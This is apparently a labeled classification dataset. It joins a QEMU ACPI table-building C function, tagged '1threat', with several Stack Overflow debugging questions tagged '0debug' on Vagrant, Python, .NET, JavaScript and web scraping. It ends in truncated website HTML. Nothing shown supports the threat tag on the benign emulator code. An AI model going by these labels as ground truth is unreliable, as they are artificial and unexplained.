build_q35_osc_method()); aml_append(sb_scope, dev); aml_append(dsdt, sb_scope); build_hpet_aml(dsdt); build_q35_isa_bridge(dsdt); build_isa_devices_aml(dsdt); build_q35_pci0_int(dsdt); } if (pcmc->legacy_cpu_hotplug) { build_legacy_cpu_hotplug_aml(dsdt, machine, pm->cpu_hp_io_base); } else { CPUHotplugFeatures opts = { .apci_1_compatible = true, .has_legacy_cphp = true }; build_cpus_aml(dsdt, machine, opts, pm->cpu_hp_io_base, "\\_SB.PCI0", "\\_GPE._E02"); } build_memory_hotplug_aml(dsdt, nr_mem, pm->mem_hp_io_base, pm->mem_hp_io_len); scope = aml_scope("_GPE"); { aml_append(scope, aml_name_decl("_HID", aml_string("ACPI0006"))); if (misc->is_piix4) { method = aml_method("_E01", 0, AML_NOTSERIALIZED); aml_append(method, aml_acquire(aml_name("\\_SB.PCI0.BLCK"), 0xFFFF)); aml_append(method, aml_call0("\\_SB.PCI0.PCNT")); aml_append(method, aml_release(aml_name("\\_SB.PCI0.BLCK"))); aml_append(scope, method); } method = aml_method("_E03", 0, AML_NOTSERIALIZED); aml_append(method, aml_call0(MEMORY_HOTPLUG_HANDLER_PATH)); aml_append(scope, method); } aml_append(dsdt, scope); bus = PC_MACHINE(machine)->bus; if (bus) { QLIST_FOREACH(bus, &bus->child, sibling) { uint8_t bus_num = pci_bus_num(bus); uint8_t numa_node = pci_bus_numa_node(bus); if (!pci_bus_is_root(bus)) { continue; } if (bus_num < root_bus_limit) { root_bus_limit = bus_num - 1; } scope = aml_scope("\\_SB"); dev = aml_device("PC%.02X", bus_num); aml_append(dev, aml_name_decl("_UID", aml_int(bus_num))); aml_append(dev, aml_name_decl("_HID", aml_eisaid("PNP0A03"))); aml_append(dev, aml_name_decl("_BBN", aml_int(bus_num))); if (numa_node != NUMA_NODE_UNASSIGNED) { aml_append(dev, aml_name_decl("_PXM", aml_int(numa_node))); } aml_append(dev, build_prt(false)); crs = build_crs(PCI_HOST_BRIDGE(BUS(bus)->parent), io_ranges, mem_ranges); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); aml_append(dsdt, scope); } } scope = aml_scope("\\_SB.PCI0"); crs = aml_resource_template(); aml_append(crs, aml_word_bus_number(AML_MIN_FIXED, AML_MAX_FIXED, AML_POS_DECODE, 0x0000, 0x0, root_bus_limit, 0x0000, root_bus_limit + 1)); aml_append(crs, aml_io(AML_DECODE16, 0x0CF8, 0x0CF8, 0x01, 0x08)); aml_append(crs, aml_word_io(AML_MIN_FIXED, AML_MAX_FIXED, AML_POS_DECODE, AML_ENTIRE_RANGE, 0x0000, 0x0000, 0x0CF7, 0x0000, 0x0CF8)); crs_replace_with_free_ranges(io_ranges, 0x0D00, 0xFFFF); for (i = 0; i < io_ranges->len; i++) { entry = g_ptr_array_index(io_ranges, i); aml_append(crs, aml_word_io(AML_MIN_FIXED, AML_MAX_FIXED, AML_POS_DECODE, AML_ENTIRE_RANGE, 0x0000, entry->base, entry->limit, 0x0000, entry->limit - entry->base + 1)); } aml_append(crs, aml_dword_memory(AML_POS_DECODE, AML_MIN_FIXED, AML_MAX_FIXED, AML_CACHEABLE, AML_READ_WRITE, 0, 0x000A0000, 0x000BFFFF, 0, 0x00020000)); crs_replace_with_free_ranges(mem_ranges, pci_hole->begin, pci_hole->end - 1); for (i = 0; i < mem_ranges->len; i++) { entry = g_ptr_array_index(mem_ranges, i); aml_append(crs, aml_dword_memory(AML_POS_DECODE, AML_MIN_FIXED, AML_MAX_FIXED, AML_NON_CACHEABLE, AML_READ_WRITE, 0, entry->base, entry->limit, 0, entry->limit - entry->base + 1)); } if (pci_hole64->begin) { aml_append(crs, aml_qword_memory(AML_POS_DECODE, AML_MIN_FIXED, AML_MAX_FIXED, AML_CACHEABLE, AML_READ_WRITE, 0, pci_hole64->begin, pci_hole64->end - 1, 0, pci_hole64->end - pci_hole64->begin)); } if (misc->tpm_version != TPM_VERSION_UNSPEC) { aml_append(crs, aml_memory32_fixed(TPM_TIS_ADDR_BASE, TPM_TIS_ADDR_SIZE, AML_READ_WRITE)); } aml_append(scope, aml_name_decl("_CRS", crs)); dev = aml_device("GPE0"); aml_append(dev, aml_name_decl("_HID", aml_string("PNP0A06"))); aml_append(dev, aml_name_decl("_UID", aml_string("GPE0 resources"))); aml_append(dev, aml_name_decl("_STA", aml_int(0xB))); crs = aml_resource_template(); aml_append(crs, aml_io(AML_DECODE16, pm->gpe0_blk, pm->gpe0_blk, 1, pm->gpe0_blk_len) ); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); g_ptr_array_free(io_ranges, true); g_ptr_array_free(mem_ranges, true); if (pm->pcihp_io_len) { dev = aml_device("PHPR"); aml_append(dev, aml_name_decl("_HID", aml_string("PNP0A06"))); aml_append(dev, aml_name_decl("_UID", aml_string("PCI Hotplug resources"))); aml_append(dev, aml_name_decl("_STA", aml_int(0xB))); crs = aml_resource_template(); aml_append(crs, aml_io(AML_DECODE16, pm->pcihp_io_base, pm->pcihp_io_base, 1, pm->pcihp_io_len) ); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); } aml_append(dsdt, scope); scope = aml_scope("\\"); if (!pm->s3_disabled) { pkg = aml_package(4); aml_append(pkg, aml_int(1)); aml_append(pkg, aml_int(1)); aml_append(pkg, aml_int(0)); aml_append(pkg, aml_int(0)); aml_append(scope, aml_name_decl("_S3", pkg)); } if (!pm->s4_disabled) { pkg = aml_package(4); aml_append(pkg, aml_int(pm->s4_val)); aml_append(pkg, aml_int(pm->s4_val)); aml_append(pkg, aml_int(0)); aml_append(pkg, aml_int(0)); aml_append(scope, aml_name_decl("_S4", pkg)); } pkg = aml_package(4); aml_append(pkg, aml_int(0)); aml_append(pkg, aml_int(0)); aml_append(pkg, aml_int(0)); aml_append(pkg, aml_int(0)); aml_append(scope, aml_name_decl("_S5", pkg)); aml_append(dsdt, scope); { uint8_t io_size = object_property_get_bool(OBJECT(pcms->fw_cfg), "dma_enabled", NULL) ? ROUND_UP(FW_CFG_CTL_SIZE, 4) + sizeof(dma_addr_t) : FW_CFG_CTL_SIZE; scope = aml_scope("\\_SB.PCI0"); dev = aml_device("FWCF"); aml_append(dev, aml_name_decl("_HID", aml_string("QEMU0002"))); aml_append(dev, aml_name_decl("_STA", aml_int(0xB))); crs = aml_resource_template(); aml_append(crs, aml_io(AML_DECODE16, FW_CFG_IO_BASE, FW_CFG_IO_BASE, 0x01, io_size) ); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); aml_append(dsdt, scope); } if (misc->applesmc_io_base) { scope = aml_scope("\\_SB.PCI0.ISA"); dev = aml_device("SMC"); aml_append(dev, aml_name_decl("_HID", aml_eisaid("APP0001"))); aml_append(dev, aml_name_decl("_STA", aml_int(0xB))); crs = aml_resource_template(); aml_append(crs, aml_io(AML_DECODE16, misc->applesmc_io_base, misc->applesmc_io_base, 0x01, APPLESMC_MAX_DATA_LENGTH) ); aml_append(crs, aml_irq_no_flags(6)); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); aml_append(dsdt, scope); } if (misc->pvpanic_port) { scope = aml_scope("\\_SB.PCI0.ISA"); dev = aml_device("PEVT"); aml_append(dev, aml_name_decl("_HID", aml_string("QEMU0001"))); crs = aml_resource_template(); aml_append(crs, aml_io(AML_DECODE16, misc->pvpanic_port, misc->pvpanic_port, 1, 1) ); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(dev, aml_operation_region("PEOR", AML_SYSTEM_IO, aml_int(misc->pvpanic_port), 1)); field = aml_field("PEOR", AML_BYTE_ACC, AML_NOLOCK, AML_PRESERVE); aml_append(field, aml_named_field("PEPT", 8)); aml_append(dev, field); aml_append(dev, aml_name_decl("_STA", aml_int(0xF))); method = aml_method("RDPT", 0, AML_NOTSERIALIZED); aml_append(method, aml_store(aml_name("PEPT"), aml_local(0))); aml_append(method, aml_return(aml_local(0))); aml_append(dev, method); method = aml_method("WRPT", 1, AML_NOTSERIALIZED); aml_append(method, aml_store(aml_arg(0), aml_name("PEPT"))); aml_append(dev, method); aml_append(scope, dev); aml_append(dsdt, scope); } sb_scope = aml_scope("\\_SB"); { build_memory_devices(sb_scope, nr_mem, pm->mem_hp_io_base, pm->mem_hp_io_len); { Object *pci_host; PCIBus *bus = NULL; pci_host = acpi_get_i386_pci_host(); if (pci_host) { bus = PCI_HOST_BRIDGE(pci_host)->bus; } if (bus) { Aml *scope = aml_scope("PCI0"); build_append_pci_bus_devices(scope, bus, pm->pcihp_bridge_en); if (misc->tpm_version != TPM_VERSION_UNSPEC) { dev = aml_device("ISA.TPM"); aml_append(dev, aml_name_decl("_HID", aml_eisaid("PNP0C31"))); aml_append(dev, aml_name_decl("_STA", aml_int(0xF))); crs = aml_resource_template(); aml_append(crs, aml_memory32_fixed(TPM_TIS_ADDR_BASE, TPM_TIS_ADDR_SIZE, AML_READ_WRITE)); aml_append(dev, aml_name_decl("_CRS", crs)); aml_append(scope, dev); } aml_append(sb_scope, scope); } } aml_append(dsdt, sb_scope); } g_array_append_vals(table_data, dsdt->buf->data, dsdt->buf->len); build_header(linker, table_data, (void *)(table_data->data + table_data->len - dsdt->buf->len), "DSDT", dsdt->buf->len, 1, NULL, NULL); free_aml_allocator(); }
1threat
PLEASE HELP:- while doing vagrant up vm is not initialing getting error in INFO subprocess : while doing vagrant up vm is not initialing getting error in INFO subprocess: Starting process: ["C:\\Windows\\System32\\WindowsPowerShell rofile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", "(new-ob cipal([System.Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Sy ]::Administrator)"] INFO subprocess: Command not in installer, restoring original environment... in debug mode command : vagrant init concourse/lite create a file but while doing vagrant up nothing is happening . virtual box version :-Version 5.1.26 r117224 (Qt5.6.2) windows:7 . as i am new to this thing a step by step procedure would help a lot .
0debug
Pyhton - Raw text as argument to string : I encountered a problem while coding today, I need your help. I have a function: def list_printer(name): frame = sys._getframe(1) print(name, '=', repr(eval(name, frame.f_globals, frame.f_locals))) return and a list: my_list = [1, 2, 3, 4, 5] When called it looks like this: list_printer('my_list') and outputs: my_list = [1, 2, 3, 4, 5] The thing is, as you can see I must use a string as the argument, is there any way i could type in raw text and then convert it to a string inside the function so that i dont have to use quotes? Thank you in advance, **Pinco**.
0debug
How do I set the value in a command shell for dotnet core : <p>Running dotnet core command <strong>dotnet run</strong> in a command line I found this</p> <p><em>You can opt out of telemetry by setting a DOTNET_CLI_TELEMETRY_OPTOUT environment variable to 1 using your favorite shell.</em></p> <p><a href="https://i.stack.imgur.com/qFH9C.png" rel="noreferrer"><img src="https://i.stack.imgur.com/qFH9C.png" alt="DOTNET_CLI_TELEMETRY_OPTOUT"></a></p> <p>How do I set this variable? </p> <p>Thanks for your time.</p>
0debug
how can i put value of input text to local storage : im trying to add input text to local storage <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> document.getElementById('nick').value;localStorage.setItem('nick', value); <!-- end snippet -->
0debug
How can i add dynamic control another class in method? : i genarate this buttons(sepete ekle) dynamicly.this button have an click event. i want to make : when this button clicked flowlayout panel add to groupbox control. [enter image description here][1] [1]: http://i.stack.imgur.com/juQgu.png
0debug
void HELPER(pka)(CPUS390XState *env, uint64_t dest, uint64_t src, uint32_t srclen) { uintptr_t ra = GETPC(); int i; const int destlen = 16; src += srclen - 1; dest += destlen - 1; for (i = 0; i < destlen; i++) { uint8_t b = 0; if (i == 0) { b = 0xc; } else if (srclen > 1) { b = cpu_ldub_data_ra(env, src, ra) & 0x0f; src--; srclen--; } if (srclen > 1) { b |= cpu_ldub_data_ra(env, src, ra) << 4; src--; srclen--; } cpu_stb_data_ra(env, dest, b, ra); dest--; } }
1threat
static int do_setcontext(struct target_ucontext *ucp, CPUPPCState *env, int sig) { struct target_mcontext *mcp; target_ulong mcp_addr; sigset_t blocked; target_sigset_t set; if (copy_from_user(&set, h2g(ucp) + offsetof(struct target_ucontext, tuc_sigmask), sizeof (set))) return 1; #if defined(TARGET_PPC64) fprintf (stderr, "do_setcontext: not implemented\n"); return 0; #else if (__get_user(mcp_addr, &ucp->tuc_regs)) return 1; if (!lock_user_struct(VERIFY_READ, mcp, mcp_addr, 1)) return 1; target_to_host_sigset_internal(&blocked, &set); do_sigprocmask(SIG_SETMASK, &blocked, NULL); if (restore_user_regs(env, mcp, sig)) goto sigsegv; unlock_user_struct(mcp, mcp_addr, 1); return 0; sigsegv: unlock_user_struct(mcp, mcp_addr, 1); return 1; #endif }
1threat
Python: making one list from for loop : <p>I'm coding for a week, and I feel lost right now I'm trying to escape from multiple lists to one and then add to CSV. The program is webscraping the site. Part 1 creates links and takes the redirecting links, then in Part 2 it is connecting to site and taking the tables. Part 3 is taking the words from HEADERS (there is about 43 words) and it's looking in description for all words and then adds 60 characters to the left from word, and 60 to the right. It is in the loop because there is plenty of real estates offers that I need take info from. Hope you're understand. Coding takes a lot of energy!</p> <p>Whole program you can find here (EDIT PART): <a href="https://stackoverflow.com/posts/comments/90155616?noredirect=1">https://stackoverflow.com/posts/comments/90155616?noredirect=1</a></p> <p>Here is the code:</p> <pre><code>for p in page_soup.select('section#description'): p = str(p) p = p.lower() lista_k = [] for j in range(len(HEADERS3)): #print('j:',j) # find_p znajduje wszystkie słowa kluczowe z HEADERS3 w paragrafie na stronie kontraktu. find_p = re.findall(HEADERS3[j],p) # listy, które wyświetlają pozycję startową poszczególnych słów muszą zaczynać się od '-' lub 0?, # ponieważ, gdy dane słowo nie zostanie odnalezione to listy będą puste w pierwszej iteracji pętli # co w konsekewncji doprowadzi do błędu out of range m_start = [] m_end = [] lista_j = [] for m in re.finditer(HEADERS3[j], p): #print((m.start(),m.end()), m.group()) m_start.append(m.start()) m_end.append(m.end()) #print(h) for k in range(len(m_start)): #właściwe teraz nie wiem po co to jest.. try: x = m_start[k] y = m_end[k] except IndexError: x = m_start[0] y = m_end[0] #print('xy:',x,y) #print(find_p) #print(HEADERS3[j]) z = (HEADERS3[j]+':',p[-60+x:y+60]+' ++-NNN-++') lista_j.append(z) #print(z) #print ('lista_j:',lista_j) lista_k.append(lista_j) print('lista_k:',lista_k) </code></pre> <p>The output is:</p> <pre><code> ----------- 3 ----------- http://www.kontrakt.szczecin.pl/mieszkanie-wynajem-46m2-2000pln-gorna-bezrzecze-szczecin-zachodniopomorskie,351353 ['351353', '2', '2 000 PLN', '-', '46\xa0m2', '0', '2', 'Widna', '-', '-', 'Gazowe', 'Tak', 'Tak', 'Piec gazowy', '-', 'Cegła', '2007', 'Bardzo dobry', '-', '-', '-', 'Liczba tarasów: 2', '-', 'Ogród: Tak', '-', 'Garaż: Tak', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-'] lista_j: [] lista_j: [] lista_j: [] lista_j: [('gospodarcze:', 'arkingowe na samochód ,rower ale również jako pomieszczenie gospodarcze z półkami. cena najmu do negocjacji,warunkiem jednak koniec ++-NBP-++')] lista_j: [] lista_j: [('parking:', 'ie do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe . w pobliżu wiele sklepów,między innymi dwa supermarkety ++-NBP-++'), ('parking:', 'z śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samochód ,rower ale również jako pomieszczenie gospod ++-NBP-++')] lista_j: [] lista_j: [('garaż:', 'nie dwupokojowe usytuowane na parterze z tarasem ,ogrodem i garażem.budynek wybudowany w 2007r. na nowym kameralnym,bezpieczn ++-NBP-++'), ('garaż:', 'ience piec dwuobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe ++-NBP-++'), ('garaż:', 'uobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe . w pobliżu w ++-NBP-++'), ('garaż:', ' 220zł w nim zaliczka na wodę , wywóz śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samochód ,rower ++-NBP-++')] lista_j: [('ogród:', 'in.salon z aneksem kuchennym ok 24mkw z wyjściem na taras i ogród.taras w częsci zadaszony z kącikiem z siedziskiem oraz ozdo ++-NBP-++'), ('ogród:', 'kiem z siedziskiem oraz ozdobną pergolą w części otwarty na ogród z zadbanym trawnikiem oraz krzewami :porzeczką,borówką i ma ++-NBP-++')] lista_j: [('ogrod:', 'ne mieszkanie dwupokojowe usytuowane na parterze z tarasem ,ogrodem i garażem.budynek wybudowany w 2007r. na nowym kameralnym ++-NBP-++'), ('ogrod:', 'umywalką i wc. w łazience piec dwuobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne ++-NBP-++')] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [('remon:', 'o zarządcy 220zł w nim zaliczka na wodę , wywóz śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samoc ++-NBP-++')] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [('aneks:', 'miejskiej-szybki dojazd do centrum miasta ok.10 min.salon z aneksem kuchennym ok 24mkw z wyjściem na taras i ogród.taras w cz ++-NBP-++'), ('aneks:', 'anym trawnikiem oraz krzewami :porzeczką,borówką i maliną.w aneksie kuchennym meble w zabudowie a w wyposażeniu: kuchenka gaz ++-NBP-++')] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [('zabudow:', 'ami :porzeczką,borówką i maliną.w aneksie kuchennym meble w zabudowie a w wyposażeniu: kuchenka gazowa amica,z piekarnikiem ele ++-NBP-++'), ('zabudow:', ' przeszklona ława.w drugim pokoju sypialni ok.15mkw:szafa w zabudowie typu komandor oraz duże łóżko i dwie szafki nocne.łazienk ++-NBP-++')] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_j: [] lista_k: [[], [], [], [('gospodarcze:', 'arkingowe na samochód ,rower ale również jako pomieszczenie gospodarcze z półkami. cena najmu do negocjacji,warunkiem jednak koniec ++-NBP-++')], [], [('parking:', 'ie do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe . w pobliżu wiele sklepów,między innymi dwa supermarkety ++-NBP-++'), ('parking:', 'z śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samochód ,rower ale również jako pomieszczenie gospod ++-NBP-++')], [], [('garaż:', 'nie dwupokojowe usytuowane na parterze z tarasem ,ogrodem i garażem.budynek wybudowany w 2007r. na nowym kameralnym,bezpieczn ++-NBP-++'), ('garaż:', 'ience piec dwuobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe ++-NBP-++'), ('garaż:', 'uobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne miejsca parkingowe . w pobliżu w ++-NBP-++'), ('garaż:', ' 220zł w nim zaliczka na wodę , wywóz śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samochód ,rower ++-NBP-++')], [('ogród:', 'in.salon z aneksem kuchennym ok 24mkw z wyjściem na taras i ogród.taras w częsci zadaszony z kącikiem z siedziskiem oraz ozdo ++-NBP-++'), ('ogród:', 'kiem z siedziskiem oraz ozdobną pergolą w części otwarty na ogród z zadbanym trawnikiem oraz krzewami :porzeczką,borówką i ma ++-NBP-++')], [('ogrod:', 'ne mieszkanie dwupokojowe usytuowane na parterze z tarasem ,ogrodem i garażem.budynek wybudowany w 2007r. na nowym kameralnym ++-NBP-++'), ('ogrod:', 'umywalką i wc. w łazience piec dwuobiegowy typu vaillant .z ogrodu przejście do garażu.przed garażem podjazd i ogólnodostępne ++-NBP-++')], [], [], [], [], [], [], [('remon:', 'o zarządcy 220zł w nim zaliczka na wodę , wywóz śmieci i f. remontowy.garaż do wykorzystania jako miejsce parkingowe na samoc ++-NBP-++')], [], [], [], [], [], [], [], [], [], [], [], [], [('aneks:', 'miejskiej-szybki dojazd do centrum miasta ok.10 min.salon z aneksem kuchennym ok 24mkw z wyjściem na taras i ogród.taras w cz ++-NBP-++'), ('aneks:', 'anym trawnikiem oraz krzewami :porzeczką,borówką i maliną.w aneksie kuchennym meble w zabudowie a w wyposażeniu: kuchenka gaz ++-NBP-++')], [], [], [], [], [], [('zabudow:', 'ami :porzeczką,borówką i maliną.w aneksie kuchennym meble w zabudowie a w wyposażeniu: kuchenka gazowa amica,z piekarnikiem ele ++-NBP-++'), ('zabudow:', ' przeszklona ława.w drugim pokoju sypialni ok.15mkw:szafa w zabudowie typu komandor oraz duże łóżko i dwie szafki nocne.łazienk ++-NBP-++')], [], [], [], [], [], [], [], []] [] </code></pre> <p>OUTPUT (IMG): <a href="https://i.stack.imgur.com/M5qQi.png" rel="nofollow noreferrer">https://i.stack.imgur.com/M5qQi.png</a></p>
0debug
Why is the Streamlistener reakting differently? : I'm tring to use the Streambuilder in cooperation with Bloc. The problem is that somehow the UI updates only when the expensive Funktions are finished. It seams that then, and only then updates are made to the stream. But I can not figure out why? I Implemented a simple Bloc that has 4 events: 1. a Future called over the Bloc Sate Object 2. a Future called inside the Bloc 3. a Funktion called inside the Bloc 4 just using Future.delay I'm Trying to understand why everything behaves as expectetd, but not when I use first two. My guess is I have a basic misunderstanding of the eventloop but I can not see why there should be a difference in behavior between 2 and 4 or 1 and 4 To make it easy I made an example Project on Githup https://github.com/pekretsc/bloceventloop.git
0debug
Website that was working stopped without any change : <p>I thnik this could be a javascript, but not sure, because I didn`t change anything on the website, and sundelly it stopped working.</p> <p>Here is the url - <a href="http://www.projetograndesmestres.com/" rel="nofollow noreferrer">http://www.projetograndesmestres.com/</a></p> <p>Here is the html</p> <pre><code> &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;Grandes mestres&lt;/title&gt; &lt;!-- Stylesheets --&gt; &lt;link href="css/bootstrap.css" rel="stylesheet"&gt; &lt;link href="css/revolution-slider.css" rel="stylesheet"&gt; &lt;link href="css/style.css" rel="stylesheet"&gt; &lt;!-- Responsive --&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0"&gt; &lt;link href="css/responsive.css" rel="stylesheet"&gt; &lt;!--[if lt IE 9]&gt;&lt;script src="http://html5shim.googlecode.com/svn/trunk /html5.js"&gt;&lt;/script&gt;&lt;![endif]--&gt; &lt;!--[if lt IE 9]&gt;&lt;script src="js/respond.js"&gt;&lt;/script&gt;&lt;![endif]--&gt; &lt;link rel="shortcut icon" href="images/icons/favicon.png"&gt; &lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="images/icons/apple-touch-icon-144-precomposed.png"&gt; &lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="images/icons/apple-touch-icon-114-precomposed.png"&gt; &lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="images/icons/apple-touch-icon-72-precomposed.png"&gt; &lt;link rel="apple-touch-icon-precomposed" href="images/icons/apple-touch-icon-57-precomposed.png"&gt; &lt;script&gt; (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r; i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-91309624-1', 'auto'); ga('send', 'pageview'); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="page-wrapper"&gt; &lt;!-- Preloader --&gt; &lt;div class="preloader"&gt;&lt;/div&gt; &lt;!-- Main Header --&gt; &lt;header class="main-header"&gt; &lt;div class="auto-container clearfix"&gt; &lt;!--Logo--&gt; &lt;div class="logo"&gt;&lt;a href="index.html"&gt;&lt;img src="images/logo.jpg" alt="Meeton" title="Meeton"&gt;&lt;/a&gt;&lt;/div&gt; &lt;!--Main Menu--&gt; &lt;nav class="main-menu"&gt; &lt;div class="navbar-header"&gt; &lt;!-- Toggle Button --&gt; &lt;button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;/div&gt; &lt;div class="navbar-collapse collapse clearfix"&gt; &lt;ul class="navigation"&gt; &lt;li class="current dropdown"&gt;&lt;a href="#sobre"&gt;Sobre&lt;/a&gt; &lt;/li&gt; &lt;li class="dropdown"&gt;&lt;a href="#programacao"&gt;Programação&lt;/a&gt; &lt;/li&gt; &lt;li class="dropdown" data-toggle="modal" data-target="#myModal" &gt;&lt;a href="#myModal"&gt;COMPRAR PGM&lt;/a&gt; &lt;/li&gt; &lt;li class="dropdown"&gt;&lt;a href="contato.html"&gt;Contato&lt;/a&gt; &lt;/li&gt; &lt;li class="dropdown"&gt;&lt;a href="https://www.facebook.com/pgmbr/"&gt;&lt;span class="fa fa-facebook-f"&gt;&lt;/span&gt;&lt;/a&gt; &lt;/li&gt; &lt;li class="dropdown"&gt;&lt;a href="https://www.instagram.com/projetograndesmestres/"&gt;&lt;span class="fa fa-instagram"&gt;&lt;/span&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/nav&gt; &lt;!--Main Menu End--&gt; &lt;/div&gt; &lt;/header&gt; &lt;!--End Main Header --&gt; &lt;!-- Main Slider --&gt; &lt;section class="main-slider"&gt; &lt;div class="tp-banner-container"&gt; &lt;div class="tp-banner"&gt; &lt;ul&gt; &lt;li data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-6.jpg" data-saveperformance="off" data-title="Revelações"&gt; &lt;img src="images/main-slider/image-6.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="400" data-y="center" data-voffset="-220" data-speed="1500" data-start="500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Os atores Giovanna Lancelloti e &lt;br /&gt;Felipe Roque já participaram. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="315" data-y="center" data-voffset="-140" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Venha você também fazer parte dessa convenção!&lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="315" data-y="center" data-voffset="-70" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; O maior network para Atores e Modelos do Brasil. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme voot2" data-x="left" data-hoffset="505" data-y="center" data-voffset="0" data-speed="1500" data-start="1500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="links"&gt;&lt;!--button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;INSCRIÇÃO AQUI&lt;/button--&gt;&lt;a class="btn btn-primary btn-lg" href="#revelacoes" role="button"&gt;Revelações&lt;/a&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="315" data-y="center" data-voffset="100" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Teste de elenco para as séries "Geração Digital" e &lt;br /&gt;"Relações" nos dias 20 e 21 de maio. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;/li&gt; &lt;li 